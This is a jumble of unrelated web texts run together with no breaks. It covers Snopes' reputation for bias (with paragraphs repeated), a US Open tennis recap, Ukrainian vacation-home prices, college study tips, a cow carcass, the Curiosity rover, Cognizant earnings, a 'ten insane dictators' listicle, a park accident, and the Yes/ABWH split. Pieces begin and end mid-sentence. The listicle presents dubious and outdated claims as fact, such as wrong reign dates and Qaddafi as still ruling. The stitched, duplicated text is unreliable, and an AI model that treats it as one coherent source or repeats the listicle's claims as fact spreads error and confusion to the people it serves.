A NOTE ON GEORGE SOROS: A later variant of this rumor alleges, without evidence, that Snopes.com is owned and/or financed by liberal philanthropist and hedge fund tycoon George Soros. This is false. Snopes.com is entirely self-supporting through advertising sales.
Each time we've been confronted with this claim we've asked for evidence of any kind demonstrating a financial connection between Snopes and Soros. No one has ever provided it, much less a coherent argument as to why we should even suppose such a connection exists.
A later variant of this rumor alleges, without evidence, that Snopes.com is owned and/or financed by liberal philanthropist and hedge fund tycoon George Soros. This is false. Snopes.com is entirely self-supporting through advertising sales. Each time we've been confronted with this claim we've asked for evidence of any kind demonstrating a financial connection between Snopes and Soros. No one has ever provided it, much less a coherent argument as to why we should even suppose such a connection exists. CLAIM: Snopes.com is 'in the tank for Obama' and 'tells lies' about Republicans. You'd think it would be easy for someone so blithely asserting that the owners of Snopes.com are "flaming liberals" to offer evidence that they're "in the tank" for Obama and "covering up" for him. None is provided.
As of this writing, dozens of viral texts about Obama and his running mate have been analyzed on Snopes.com, each meticulously researched with copious references cited. We've perused them all, not to mention the dozens of rumors they've covered about Obama's Republican counterparts, and found no discernible pattern of bias or deception, nor any evidence of advocacy for or against any particular party or political persuasion. To the contrary, we see a consistent effort to provide even-handed analyses of texts which more often than not are themselves dripping with bias and acrimony.
That's our assessment as a longtime competitor of Snopes.com who has been called upon to investigate many of these same rumors and can boast a better-than-average familiarity with the subject matter. We invite you to make your own.
CLAIM: TruthorFiction.com is less biased more reliable than Snopes. Ironically, TruthorFiction.com has refuted these attacks against Snopes.com and, in point of fact, lauds the site as an "excellent" and "authoritative" resource.
A further irony is that when you compare the contents of the two sites their findings rarely diverge in any substantive way. Shouldn't we, therefore, conclude that TruthorFiction.com is just as biased as Snopes?
Where Snopes.com and TruthorFiction.com do differ is in the depth and quality of their coverage. The Mikkelsons go to extraordinary lengths to address the finer details of each text, supplying critical analysis as well as background and contextual information. Most importantly, they cite sources. Not to disparage TruthorFiction.com's owners, who do maintain an up-to-date and generally trustworthy resource, but by comparison, their analyses tend to be perfunctory and their sourcing minimal at best.
Snopes.com boasts a 15-year-plus record of providing accurate, well-researched, dependable information and analysis, and in that time has earned the confidence of the media, government agencies, the business community, and the general public alike.
Given all of the above, Snopes is surely the preferable resource.
Update: The Bud Gregg Incident
A subsequent variant of this rumor purports to describe a verified instance of political bias on the part of Snopes.com:
Example:
Excerpt from forwarded email received Oct. 29, 2008:
A few months ago, when my State Farm agent Bud Gregg in Mandeville hoisted a political sign referencing Barack Obama and made a big splash across the internet,'supposedly' the Mikkelson's claim to have researched this issue before posting their findings on snopes.com. In their statement they claimed the corporate office of State Farm pressured Gregg into taking down the sign, when in fact nothing of the sort 'ever' took place.
I personally contacted David Mikkelson (and he replied back to me) thinking he would want to get to the bottom of this and I gave him Bud Gregg's contact phone numbers - and Bud was going to give him phone numbers to the big exec's at State Farm in Illinois who would have been willing to speak with him about it. He never called Bud. In fact, I learned from Bud Gregg no one from snopes.com ever contacted anyone with State Farm. Yet, snopes.com issued a statement as the 'final factual word' on the issue as if they did all their homework and got to the bottom of things - not!
As claimed, the Snopes.com page in question concerns a political (anti-Obama) sign erected by Mandeville, Louisiana State Farm Insurance agent Bud Gregg. And Snopes.com indeed states that Mr. Gregg was asked by State Farm's corporate office to remove the sign. But whereas the above text asserts that "nothing of the sort ever took place," State Farm has confirmed in writing that, in fact, "Management requested the sign be removed as soon as its presence became known."
It's clear based on the actual evidence, then, that the Mikkelsons did contact State Farm headquarters during the course of their investigation, and did accurately report that the company requested removal of the sign. According to David Mikkelson, they also attempted to contact Gregg personally via email but never received a reply (source: FactCheck.org).
Is Snopes.com Infallible? Of Course Not
No one is immune to error, and that includes the folks who run Snopes.com, TruthorFiction.com, and even, God knows, yours truly.
Reader, if you take nothing else away from this commentary, at least pay heed to this one important point: no information source is infallible. Whether it be an urban legends website, the New York Times, the Wall Street Journal, or the Encyclopedia Britannica, mistakes can be made, nuances missed, or unconscious biases unleashed at any point in the fact-checking process.
Rule of thumb: Wherever possible, avoid depending on any single source of information, no matter how esteemed its reputation or how reliable it has proven in the past.
To quote Snopes.com's own Barbara Mikkelson, "It's just as much a mistake to look to a usually-reliable source to do all of the thinking, judging, and weighing as it was to unquestioningly believe every unsigned email that came along."
In the thorny search for truth, there's no substitute for doing one's own research and applying one's own considered judgment before thinking oneself informed. That's an unbiased fact.
Sources:
Too Good to Be True? It Usually Is
Washington Post, 28 September 2008
Citation Makes Snopes.com Work
Longview News-Journal, 18 October 2008
Keeping Their Opinions to Themselves
New York Times, 18 October 2008
Snopes.com
FactCheck.org, 10 April 2009
False Authority Syndrome
Snopes.com, 16 May 2008Part 1 Investigated the 1st through 4th rounds
The Final 8:
Edberg’s Marathon Run to the Title
The Quarterfinal Round: 2 of the 4 Matches Went 5 sets
The Highlight Match did not go 5 sets, but the 1992 Australian and French Open champion Jim Courier took on the 1992 Wimbledon champion and boyhood rival Andre Agassi. This match ended in 4 tense sets. Courier won 6-3, 6-7 (6-8), 6-1, 6-4. The 4th set appeared to be heading toward a tiebreak until Agassi complained about Courier’s slow play. Courier became visibly angry and raised his game to break Agassi.
Edberg needed two days and 5 sets to beat Ivan Lendl. Edberg nearly blew a 2 set lead, but he rallied from a break down in the 5th set to beat Lendl 6-3, 6-3, 3-6, 5-7, 7-6 (7-3).
Michael Chang needed 5 sets to beat Wayne Ferreira 7-5, 2-6, 6-3, 6-7 (4-7), 6-1. Pete Sampras rolled into the semifinal by beating a tanking Alexander Volkov 6-4, 6-1, 6-0.
The Semifinal Round:
Edberg needs 5 but Sampras clips Courier in 4
Stefan Edberg beat Michael Chang in a looooooong match. Edberg and Chang’s games contrasted nicely. Edberg prevailed 6-7 (3-7), 7-5, 7-6 (7-3), 5-7, 6-4. Edberg again rallied from a break down in the 5th set.
Pete Sampras beat Courier 6-1, 3-6, 6-2, 6-2 in a match that rarely saw both players playing well at the same time. Pete Sampras entered the final having played 7 sets in his previous 2 matches compared to Edberg’s 10 sets. This was in the days of Super Saturday so Edberg had to play the day after his marathon with Chang. Sampras was on his way to a 2nd US Open title in part due to his red-hot summer and in part due to his easier path to the final.
Championship Match:
Edberg wins the Battle of the Pro-Staff Racquets
Stefan Edberg concluded his marathon run by again rallying from a deficit, but this time Edberg only needed 4 sets to rally. Edberg clipped Sampras 3-6, 6-4, 7-6 (7-5), 6-2
Post Script a Run Down of Big Matches
Edberg beat Sampras, Lendl, Chang and Krajicek who combined to win 24 majors.
Sampras beat Courier who won 4 majors and was ranked #1
Courier beat Agassi and John McEnroe
Lendl beat Boris Becker and Jimmy Connors
AdvertisementsUkraine boasts some magnificent natural beauty, from the rugged Carpathian Mountains to forest and steppes, the banks of the broad Dnipro River, and the enchanting Black Sea coasts.
Any of these places would be a great site for a vacation home, and with the two-thirds devaluation of the hryvnia since 2014, it’s never been cheaper to buy a dacha, cottage or house in the country.
The Kyiv Post checked out cottages and houses for sale near Kyiv, in coastal areas and in the mountains for a range of prices, based on real estate classified ads aggregated by websites lun.ua, dom.ria, address.ua and others.
Kyiv Oblast
Those who want to get out of the big city but don’t want to travel too far from Kyiv have an extensive variety of cottage houses and private homes to choose from in Kyiv’s suburbs.
Apart from being close to the city, the country around Kyiv is beautiful, with pine forests and numerous lakes, as well as the mighty Dnipro River.
According to the address.ua real estate aggregator, a house in Kyiv Oblast with less than 100 square meters costs around $30,000.
However, most of those cheaper than $50,000 are modest, Soviet-era “dacha”-type constructions. For instance, a three-floor summer house in the village of Vyshenky (40 minutes from Kyiv by car) with old furnishings is listed for only $27,000.
The average price of a house ranging from 100 to 200 square meters is around $70,000. For this price, buyers can expect to get a smaller summer house that has been recently repaired by its former owners. Generally, the summer houses that are listed on real estate aggregator websites for less than $100,000 either have no furniture or an old-fashioned design (a brick fireplace, Soviet-style carpets, old TV sets, and so on).
The prices of houses in the more modern cottage villages that have sprung up around Kyiv in recent years, which often have security and are connected to utilities networks, start from around $80,000 for homes that are currently being built.
The price of a new build starts from approximately $150,000, while a property from 200 to 400 square meters costs approximately $170,000. For example, the 174-square-meter unfurnished white-brick house in the resort village of Novosilky, about an hour from Kyiv by car, is on sale for $170,000.
For the price of a high-end apartment in Kyiv — about $500,000 — one would buy a spacious house in the luxury segment in one of the prestige villages near Kyiv, such as Koncha Zaspa, just 20 minutes’ drive from the city center.
However, the highest prices are those for homes in private cottage villages such as Riviera Villas, where 400-square-meter houses are on offer at lun.ua for as much as $2 million. The price includes developed infrastructure, such as kindergartens, spa clubs, swimming pools, tennis courts, football and volleyball grounds, playgrounds, beaches, restaurants, and a pier for boats.
Near the sea
Since Russia started its occupation of Ukraine’s Crimea in 2014, the villages and cities in the south of the mainland in Odesa, Mykolaiv and Kherson Oblasts at the Black Sea shore have become hot spots for those vacationing near the sea.
The widest choice of expensive summer houses can be found in Odesa, a city of nearly one million people, and at popular resorts close to the city, such as the villages of Zatoka or Koblevo.
According to real estate aggregator address.ua, in Odesa Oblast the prices for cottages are even higher than in Kyiv: the average price for a house of up to 100 square meters in area is $46,000, for a house of 100–200 square meters — $120,000, for one 200–400 square meters — $240,000, and the biggest ones, larger than 400 square meters, the cost goes up to around $520,000.
Those looking for a summer house cheaper than $50,000 would be unlikely to find anything fancier than old Soviet-style houses or unfinished constructions in the suburbs of Odesa.
Those for whom location is more important than size can opt for a 70–80-square-meter house not far from the sea in the Prymorsky and Kyivsky districts in the south of Odesa for $50,000–100,000. The area has lots of shops, good beaches, and is located just 15 minutes away from the city center and only 10 minutes from Odesa International Airport. Larger houses in the same area mostly cost around $160,000–200,000.
Prices in other oblasts are cheaper: In Mykolaiv Oblast, one can buy a house of 70 square meters in the town of Ochakiv near the Black Sea coast for $37,000. A house of 140 square meters in the same town costs $85,000. One can also find relatively cheap options in the nearby town of Luhove, for $20,000–40,000. However, most of the houses on sale are of Soviet design and will probably be in need of repair. Moreover, the smaller towns in Mykolaiv Oblast tend to have ramshackle infrastructure and poor roads, and not many big stores nearby.
Houses at similar prices, from $20,000 for an 80-square-meter house near the Black Sea, can be found in seaside and riverside villages in Kherson Oblast, such as Skadovsk, Zaliznyi Port, Gola Prystan, and others. Such villages, however, all suffer similar problems: bad roads, a lack of big stores, and not many options for a night out.
Moreover, the Black Sea near Kherson and Mykolaiv Oblast can be full of jellyfish and tangled with seaweed in summer. In other places, the coasts are edged with mud flats rather than sandy beaches.
Western Ukraine
Another popular vacation destination is the Carpathian Mountains in western Ukraine, which attract crowds of tourists with their magnificent landscapes.
Houses with breathtaking views are for sale here for more affordable prices than near Kyiv or Odesa. The main disadvantages, however, are poor roads and undeveloped infrastructure in the smaller villages that are off the tourist trails.
A decent wooden house will sell for less than $50,000. For example, a house of 140 square meters with three bedrooms in Verhovyna in Ivano-Frankivsk Oblast, some 620 kilometers from Kyiv, costs $48,000. The average price of a house in Zakarpattya Oblast in the west is $86,000, according to address.ua.
Those looking for a bit more will find plenty of options in the large villages of Yaremche and in Bukovel, the popular ski resort. But expect to pay a lot more — current options include an 819-square-meter, 12-room house near the ski slopes in Bukovel, which is on offer for $1.57 million.The American school system is a joke. Too concerned with standardization and what is in effect, social programming, the importance of imparting an education and knowledge have faded into the background. And guess what: highschoolers aren’t stupid. They catch on to this. Many learn at an early age that they don’t have to try to do well in school. Plenty of kids graduate with a B average or higher without having to lift a metaphorical finger. Others realize they can coast by with a C average even without doing homework.
In the grand scheme of things, I believe these students are the worse off. Never having to learn skills like proper studying habits or time management, these students at the top of their classes are naturally pushed towards the college route. And I don’t want to make hugely false blanket statements, as a lot of these students turn out okay. They adapt and overcome. Or maybe some of them went to a hard high school, or had difficult teachers and were forced to learn those skills that are important for success in college. But a lot of them don’t, and I was one of them.
As a not-so bright and eager freshman I went to classes, barely paid attention, and expected to get good grades, because that had always worked for me. And it did work, at first. I made it through my first semester of college with a decent grade point average. Lower than anything I’d ever gotten before, but I thought hey, it’s college, it’s supposed to be harder. Second semester was when it hit me. For some reason I got the idea into my head to become an engineer. Since I was a semester behind the rest of the engineering kids, I thought I’d overload a bunch of classes to catch up. At that time I wasn’t even considering the possibility of failing and besides, most of the classes I had already taken at a high school level. What could possibly go wrong?
By the end of my second semester I was placed on Academic Probation with the worst GPA I’d ever seen in my life. Needless to say my grand engineering plans were shot. While I did make it out of school on time with a decent GPA, many students never recover from their initial college shock.
As the semester wears on for many of you out there, I sincerely hope that you take college seriously, and don’t let the easy first semester put you in a false sense of security. I’ll post a few quick college tips below, and expand upon them in future posts.
And if you get nothing else out of this post, remember this: focus on learning in college. Actually learning, not just passing classes so you can get your degree. If you actively try and want to learn the material, the passing will come naturally.
Quick Tips for College Success:
· Take notes in class. This assures you’re paying attention and lets the information pass through your brain multiple times.
Take notes in class. This assures you’re paying attention and lets the information pass through your brain multiple times. · Read assigned assignments. Seriously. At the very least, skim them, or read a review.
Read assigned assignments. Seriously. At the very least, skim them, or read a review. · Schedule your time. I once read in a college help pamphlet that if you properly manage your time, you end up with more play time than study time. Stay away from the facebooks.
Schedule your time. I once read in a college help pamphlet that if you properly manage your time, you end up with more play time than study time. Stay away from the facebooks. · Study outside of your room, and for math or science classes when you study actually do the sample problems
That’s all for now. |
's on our land we'll clear it," he said.
"We're always very busy. But something like that we'd prioritise."
Timlin said he would look into it Monday or at the latest, Tuesday.
However, when the Upper Hutt Leader sent a photo of the cow to the Greater Wellington Regional Council, the beefy situation was resolved.
The Hutt River ranger removed the carcass shortly after on Monday afternoon and took it to the landfill.Curiosity has discovered evidence that a stream once flowed across the area that it’s exploring. The image shows conglomerate rock, which is made up of streambed gravels. This is the first direct observation of streambed material. Image courtesy of NASA/JPL-Caltech/Malin Space Science Systems
In early February 2013, Curiosity drilled into a rock called “John Klein.” The rock powder was transferred to the scoop shown in the photo, and then delivered to instruments inside the rover. Analyses of the sample show that conditions on Mars were once favorable for life. Image courtesy of NASA/JPL-Caltech/MSSS
With the Mars Science Laboratory—a rover called Curiosity—safely installed in its spacecraft, the Mars Science Laboratory mission set out for the red planet on November 26, 2011, with a projected arrival at Mars on August 5, 2012 PDT. About the size of a small SUV, Curiosity is truly a sophisticated mobile laboratory with the most advanced instruments ever sent to Mars.
Curiosity's Job on Mars
The main science goal of the mission is to evaluate whether Mars has or has ever had an environment that could support bacteria or other microbial life. To try to find out, Curiosity will study rocks and soil to find records of the geologic and climate history of Mars. It will also look for carbon and other chemical building blocks of life.
Rover Innovations
With each new Mars mission, NASA has reused technologies and design elements that have worked well in the past. Curiosity has six-wheels, for example, as did the earlier rovers, and a rocker-bogie suspension system that has proven to provide excellent stability and obstacle-climbing ability. But each mission has brought innovations as well. Here's what's new for Curiosity: MORE »Cognizant Technology Solutions Corp. reported weaker-than-expected quarterly earnings and cut its full-year revenue growth forecast for the third straight time this year, portending more turbulence for India’s $150 billion information technology sector.
The company expects revenue growth of at-best 9% for the year, implying the slowest pace of growth in two decades. Cognizant had initially forecast revenue growth of between 10% and 14% for the year ending 31 December.
The latest reduction of its revenue forecast signals tougher times ahead for the outsourcing sector. Rivals Tata Consultancy Services Ltd (TCS) and Infosys Ltd have disappointed with a tepid performance in the first six months of the fiscal and now run the risk of growing at a slower pace than the 7.1% and 9.1% growth reported by the two firms, respectively, last year.
Cognizant and other Indian IT firms have been stung by weak demand from many of their largest clients. While banks are holding back on technology spending in an uncertain global economy, healthcare firms are outsourcing less work amid consolidation in the industry.
On Monday, Cognizant said it expects full-year revenue to be between $13.47 billion and $13.53 billion. It had annual revenue of $12.41 billion at the end of December 2015.
Cognizant, which is based in the US but has most of its employees in India, said revenue in the three months ended 30 September increased 8.4% from a year earlier, and improved 2.5% from the preceding June quarter, to $3.45 billion. Net profit rose to $444.4 million in the third quarter from $397.2 million in the year-ago period and $252.4 million in the second quarter. Analysts polled by Bloomberg had expected Cognizant to report revenue of $3.46 billion and profit of $511.92 million.
The Teaneck, New Jersey-based company now expects revenue in the December quarter to be between $3.45 billion and $3.51 billion, a sequential increase of between no growth and 1.7%.
Its expectation of at-best 9% growth for 2016 pales in comparison with the scorching 21% growth recorded last year, when Cognizant added $2.15 billion in incremental revenue to end the year with revenue of $12.42 billion.
Cognizant generated more new business last year than the $1.96 billion in new revenue put together by India’s three largest software services companies—TCS, Infosys and Wipro Ltd.
“We believe that CTSH (Cognizant) is at the crossroads of interesting and difficult choices, which we suspect is part of the reason why CTSH has experienced recent management changes," Keith Bachman, an analyst with BMO Capital Markets, wrote in a 2 November note.
The management changes Bachman is referring to include Cognizant appointing Srinivasan Veeraraghavachary as its new chief operating officer, Prasad Chintamaneni as its new North America head, and Debashis Chatterjee as new head of delivery.
Cognizant should try to “buy growth" through acquisitions and build a new team of “board members or new management", Bachman suggested.This is a List of 10 Modern Dictators who were Amazingly Insane. As the old saying goes, “Absolute Power Corrupts Absolutely”. These dictators imposed their eccentricities upon their country, while ignoring poverty and/or killing opponents.
10 Nicolae Ceausescu
Nicolae Ceausescu was the General Secretary of the Romanian Communist Party from 1965-1989. He made a scepter for himself (Isn’t Communism Anti-Monarchy?), and called himself “The Genius Of The Carpathians”. He obviously wasn’t a fan of modesty. He demanded that his, nearly illiterate, wife be made part of the New York Academy of Sciences and the Royal Institute of Chemistry, and all scientists in Romania had to include her name in their research. He claimed that his son, Nicu, had published several volumes on Nuclear Physics. He built a palace so huge that today’s Romanian Parliament can only use 30% of it. He met his end when he and his wife were overthrown and executed by revolutionaries.
9 Rafael Trujillo
Rafael Trujillo was dictator of the Dominican Republic from 1930 to 1938 and again from 1942 to 1952. Trujillo was one of the many dictators that thought that he was God. He ordered that all churches put up a sign that read, “ God in Heaven, Trujillo on Earth.” He organized a $30 million event called the “Fair of Peace and Fraternity of the Free World”, where he appointed his daughter as Queen. He appointed his 3-Year old son as a colonel. He campaigned for his wife to be awarded the Nobel Prize for Literature, even though she was illiterate. He made a law requiring that all license plates say “Viva Trujillo”, and finally promoted his son (still very young) to General. He was finally killed in 1961, by a group of about 11 people, and his family was forced to leave the Dominican Republic.
8 Idi Amin
Idi Amin Dada was dictator of Uganda from 1971-1979. Amin reportedly ate dissidents to his regime, or fed them to his pet crocodiles. Some of his titles were “Conqueror of the British Empire”, “President for Life”, and others. He banned all Asians from Uganda because the daughter of an important Asian family refused to marry him. He also claimed to be the King of Scotland, and apparently wrote love letters to Queen Elizabeth. He fled to Libya after the demise of his regime, then to Saudi Arabia, where he died in 2003.
7 Muammar Qaddafi
Muammar Qaddafi is the dictator of Libya. Qaddafi took power in 1969 in a revolution, and is still ruling. After three years with the title “Prime Minister” he changed it to “Brother Leader and Guide of the Revolution”. All his bodyguards are female virgins, and he claims that Libya is run through a direct democracy. He has possibly the weirdest fashion sense of everybody here, for example when he wore a traditional Islamic dress with sunglasses. He blames Osama bin Laden and drugs for the 2011 Libyan Civil War, and once claimed that he conquered the U.S. He banned all Italians from Libya in revenge for the colonization of Libya during WWII. He once gave a speech in Italy, to only women, on why Europe should pay him 5 Billion Euros. He also despises Switzerland, and wrote a UN resolution on why Switzerland should be dissolved. Also, on his relations with the UN, he once gave a speech for two hours, during which he expressed support for Somali Pirates. He claimed that Israel was responsible for JFK’s assassination (Yeah, right), and once called Barack Obama “My Son”. He was only allowed a 10 minute speech.
6 Yahya Jammeh
Yahya Jammeh has been dictator of The Gambia since 1994, and has since claimed to have mystical powers. The Gambia sponsors Witch Doctors, who have abducted about 1,000 Gambians on charges of witchcraft. He intends to have a policy in The Gambia “Stricter than those in Iran”. His official title is “His Excellency Sheikh Professor Alhaji Dr. Yahya Abdul-Azziz Jemus Junkung Jammeh Naasiru Deen”. He claims to have discovered the cure to AIDS/HIV. He claims that The Gambia was formerly the largest country in Africa. In his own words, this country is one of the oldest and biggest countries in Africa that was reduced to a small snake by the British government who sold all our lands to the French.”
5 Francisco Macias Nguema
Francisco Macias Nguema was President of Equatorial Guinea from 1968-1979, his reign ending after being overthrown by his nephew, Teodoro Obiang Nguema, who is the current dictator of Equatorial Guinea. Nguema (The Uncle) closed down hospitals in favor of his Witch Doctor Ancestry. He banned the word “intellectual” and banned fishing. He changed the national motto to “There is no other God than Macias Nguema.“ He killed the head of the national bank and hid all the money of the National Treasury in his house. On Christmas, 1975, he ordered 150 opponents executed in a football field to the tune of “Those Were The Days”. His reign of terror and insanity was finally over when he was executed by firing squad “101 times”, and was replaced by a slightly less insane, evil and strange dictator.
4 Saparmurat Niyazov
Niyazov was the President for Life of Turkmenistan from 1990-2006. He is most famous for naming months after himself, his family and his books. He renamed bread after his mother, and built a huge Ice Castle in the middle of Turkmenistan, a desert country. He banned make-up, gold teeth and lip syncing at concerts. He demanded that his book be given equal status as the Quran in Mosques, and all Turkmen currency has his picture. All employees must memorize the book to keep their jobs, and you could not get a driver’s license unless you memorized his book by heart. Turkmenistan is a one-party state with (of course) no opposition. As he put it, ‘There are no opposition parties, so how can we grant them freedom?’.
3 Francois Duvalier
President For Life Francois “Papa Doc” Duvalier was dictator of Haiti from 1957-1971. He once had a heart attack, and chose Clement Barbot, leader of the Tonton Macoutes,a paramilitary group, to become acting president while he recovered. When he was fully recovered, he accused Barbot of trying to take power from him. When Barbot tried to overthrow Duvalier in a coup, Francois issued a massive search for Barbot. When the police couldn’t find him, Duvalier believed he had turned into a black dog. He than ordered the death of all black dogs in Haiti. Eventually, when Barbot was caught and executed, Duvalier kept his head for Voodoo. In 1961, he ordered elections. He received 100% of the vote. He made Haitians recite a prayer every day, which went like this: “Our Doc, who art in the National Palace for life, hallowed by Thy name by present and future generations. They will be done in Port-au-Prince as it is in the provinces. Give us this day our new Haiti and forgive not the trespasses of those anti-patriots who daily spit upon our country…“. He once said that he controlled Lee Harvey Oswald to shoot JFK with voodoo. He finally died in 1971, and was succeeded by his son, Jean-Claude Duvalier, who was known as “Baby Doc”.
2 Mobutu Sese Seko
Mobutu was the President of Zaire (Now the Democratic Republic of the Congo). Zaire means “River”. He made a law saying that TV in Zaire cannot mention anybody but him by name. He banned all leopard print hats from Zaire, except for his own. He commanded that all evening news begin with a scene of him descending from the heavens. He chose many names for himself, including one that translates in English to “the all-powerful warrior who, because of his endurance and will to win, will go from contest to contest leaving fire in his wake.“ He jailed anyone who did not have an African name. He was overthrown on May 16, 1997 and died on September 7, 1997, of Prostate Cancer, in Morocco. Good riddance.
1 Kim Jong-Il
And finally, we come to Kim Jong-Il, of North Korea. He took power in 1998 when his father, Kim Il-Sung, died. Kim travels with his “Pleasure Squad”, a group of beautiful women. Kim is praised as the “Creator of the Universe”, along with his father. Kim is praised as having had a supernatural birth, and claims that North Korea is the most democratic, free, and respected nation on earth. He claims that he invented the hamburger, and that he is the greatest golfer in history. He built a city right on the border of North and South Korea, just to trick South Koreans into defecting. He attempted to rid Pyongyang, the capital of North Korea, of short people, because he was angry about his height. Schoolchildren are taught that he never defecates. And, finally, his grand jewel of insanity, he had two South Korean directors kidnapped to kick-start North Korea’s film industry by forcing them to make a remake of Godzilla, only Communist. He claims that North Korea is a paradise, where nobody ever experienced poverty, and where everybody leads a happy life. In real life, people are regularly tortured, and nearly all of them work in collective farms.A man paralyzed after he was struck by a falling tree at Elk Lake last fall remains in hospital seven months later.
Dave Inglis, 54, was walking with three friends on Oct. 13, 2012, when a 21-metre tree crashed onto the trail below, leaving him with severe injuries. The active, outdoor-loving man, who worked as a blaster, was in a coma for almost three weeks.
article continues below
Doctors knew within a few days that Inglis was facing paralysis. No one else in the group was seriously hurt.
This weekend, family and friends will hold a fundraising garage sale to help Inglis with his needs, such as the possible purchase of an electric wheelchair and other related costs.
Inglis’s sister Susan Yates said she has talked to a few personal-injury lawyers but nothing has transpired on the legal front.
“We’re being very careful, just taking it one week at a time about how we’re going to manage his money and how we’re going to manage his care,” Yates said.
The freakish nature of the accident has had people shaking their heads, Yates said.
“So many people have asked us if it was a really windy day, and it wasn’t at all. That tree was just totally dead and just broke off out of the blue.”
She said her brother loved being at Elk and Beaver lakes with his dog and his friends.
“He lives very close to the park and he was there pretty well every single day, sometimes twice a day.”
Larisa Hutcheson, the CRD’s general manager of parks and environmental services, said that what happened was “very, very, very rare.” The CRD has a tree-inspection program, with 12 certified inspectors who follow the provincial protocol for assessing trees.
On the day of the accident, the first medical help for Inglis came from two nurses who happened on the scene and began tending to the unconscious man. One of his walking companions borrowed a cellphone to direct ambulance paramedics to the scene.
Inglis was rushed to Victoria General Hospital and then sent by air ambulance to Vancouver General Hospital for specialized treatment. Yates made it to Vancouver from her home in Kelowna about the same time her brother arrived. Doctors were just trying to keep him alive at that point, she said.
He was eventually moved back to Victoria to continue his recovery. Yates has taken a leave from her job and moved here to be with him.
“It’s taken him a long time to comprehend the fact that he’s paralyzed,” she said. “We’re expecting it’s going to be long-term, permanent paralysis.”
Shoulder pain has kept him from doing the optimal amount of physiotherapy, she said.
Yates said her brother’s friends have helped her cope, as has the church she is attending here.
“He still has a lot of people going up to see him on a regular basis. I just appreciate that so much.”
The garage sale runs Saturday and Sunday at 541 Normandy Rd., off Elk Lake Drive, from 9 a.m. to 4 p.m.
jwbell@timescolonist.comYes enjoyed a massive comeback in the early '80s after adopting a more radio-friendly sound for their 90125 album, but the good times didn't last. Lineup changes have always been a matter of course for the group, and after one more record (1987's Big Generator ) and a few more years, things got messy all over again.
When the dust settled after the Big Generator tour, lead singer Jon Anderson was out, following an argument with bassist Chris Squire over the band's next step -- and, more importantly, when it needed to be taken. According to Anderson, the problem stemmed largely from Squire's lack of motivation for new material.
"I like having Lead Singer's Disease," Anderson laughed. "I have to let the others know I'm listening. Yes were making me feel like a sideman and I’ll never be a sideman for anyone. Mind, I love Chris and I will work with him again but for years he's been late for everything. Rehearsals starting at two and he'd never be there till five. It was driving everyone crazy. So I rang him and he said, ‘This is divorce, then?’ And I said, 'It's got to be. Christ; you're just not handling your friends very well, are you?'"
In need of new collaborators, Anderson turned to some former Yes mates -- namely drummer Bill Bruford, keyboardist Rick Wakeman, and guitarist Steve Howe. Forced to abandon the Yes banner due to Squire's ownership of the trademark, but unwilling to try and soldier on under a new name, the reunited quartet decided to recruit session ace bassist Tony Levin and simply go as Anderson Bruford Wakeman Howe.
That the new group sounded like a law firm was not lost on fans, especially after the disagreements between Yes and ABWH erupted into legal proceedings held to determine who had the right to use the band name in connection with new music and live performances. Given that ABWH consisted of four former Yes members, including the band's distinctive-sounding lead singer, and used new artwork from frequent Yes collaborator Roger Dean on its album cover, it isn't hard to understand Squire's consternation, particularly at a time when Yes seemed to be stuck in an indefinite creative idle.
Squire, unsurprisingly, sounded a dismissive tone after the legal particulars were worked out. "Jon just went and did that after Big Generator because I guess he wasn’t getting along with the management. I’m not quite sure what happened exactly, but he went and did that. Jon's always done the odd thing," he shrugged. "I didn’t really mind at all. But I didn’t particularly enjoy the music they were making. Bill Bruford was playing electronic drums -- it was a funny, odd thing, really. I think ABWH was a very unhappy alliance, from what I’ve heard. I haven’t pried too much into it, but I don’t think they were particularly happy."
Released June 20, 1989, Anderson Bruford Wakeman Howe offered a decidedly old-school rebuttal to the progressively more produced sound Yes used throughout the '80s, leaning heavily on the band's prog roots with a nine-song set that included four lengthy suites: "Themes," "Brother of Mine," and "Order of the Universe." With expanded running times aplenty, mystical artwork, and portentous-sounding song titles like "Birthright" and "The Meeting," it gave the appearance of vintage Yes -- although the truth turned out to be somewhat different.
"Some upsetting things happened in the way we made it," admitted Howe in an interview with Innerviews, "but I was really quite happy with the project. I remember thinking 'Wow, that’s pretty interesting.' Jon came to my house in London and said, 'Let’s do this. Let’s put this band together.' I gave him six songs on a cassette and he walked out the door. Those songs are basically what became the album. He added to those songs. So, I have a very soft spot for the album because some of the emotional pieces are fantastic. The songs do really mean a lot to me. They are quite exciting."
Exciting or not, Howe admitted that Anderson's control eventually left him somewhat out of the loop on the album. "There are a couple of things on it I’m not even part of," he continued. "Jon was ruling the roost on the project. That album was upsetting to me only at the mix stage. I kind of hit the roof at that point thinking, 'Oh dear, it got mixed like other albums had during the ‘80s.' To me, that meant the amazing ability to pull out the feel. I felt, 'Hey, we have a band playing here, and that should be reflected in the mix.' But it was cleaned up, digitized and endlessly transferred between different systems. Some of the record is very spiky and hard."
More problematic than the overall sound was the wholesale removal of performances that might have resonated with longtime Yes fans. "There were some very sad edits, particularly on that lovely ABWH song 'Take the Water to the Mountain' that ended up on Union," Howe lamented. "That song was phenomenal. Tony Levin and I played great stuff on it and it all got edited out. Those are the kinds of things that happened."
Bruford, for his part, was admirably upfront about his reasons for reuniting with his former bandmates. "You get paid tons there, much too much, and it's great," he admitted. "Musicians [...] often are going to be working in two spheres. To survive you're going to have to work in a couple of places, if you're not working in studio music, you're working in movie music or jingles and then jazz is what you do with that money and that's very much my case. There's no doubt that ABWH and Yes have turned into a financial bonanza for me, which is absolutely great. There's no musical future in it from my point of view, it's regressive music, it's historical stuff. But once in awhile I think a musician is allowed to go on vacation, and to make everyone very happy, playing all the stuff they all want them to play from 20 years ago."
That said, Bruford was also aware of the possibilities inherent in this combo, even if they ended up going unfulfilled. "The tour itself did extremely well. The album sold extremely well. Why 'Brother of Mine' wasn't a hit I've no idea at all," he grumbled. "The only possible explanation I have is that it was edited by [Arista boss] Clive Davis, who has the kiss of death when editing singles."
But it wasn't just having single edits imposed on longer tracks that derailed the group. "There was a brief window, I think... there was a brief opportunity for that band to have flourished. I thought there were moments in the music... that I thought showed intelligence and genuine scope, and a genuine future for the participants. If the participants had managed to close their ears to of all the nonsense being spoken in their ears, of course by [manager] Brian Lane and record companies, then they had a chance at a future. However, I think that window closed pretty much as quickly as it opened, I'm not sure everybody else noticed it."
Of course, bands don't just find themselves in situations where they're beholden to record company interests. "The problem with bands like Yes all the time has been over-consumption of resources, greed on the one hand and indolence on the other, particularly indolence, huge sums of money consumed for no reason whatsoever, completely thoughtlessly," Bruford argued. But as for the music on the record? "I'm pretty happy, I mean they're essentially Jon's songs. I had very little to do with them. I thought that Jon was on strong form for that album."
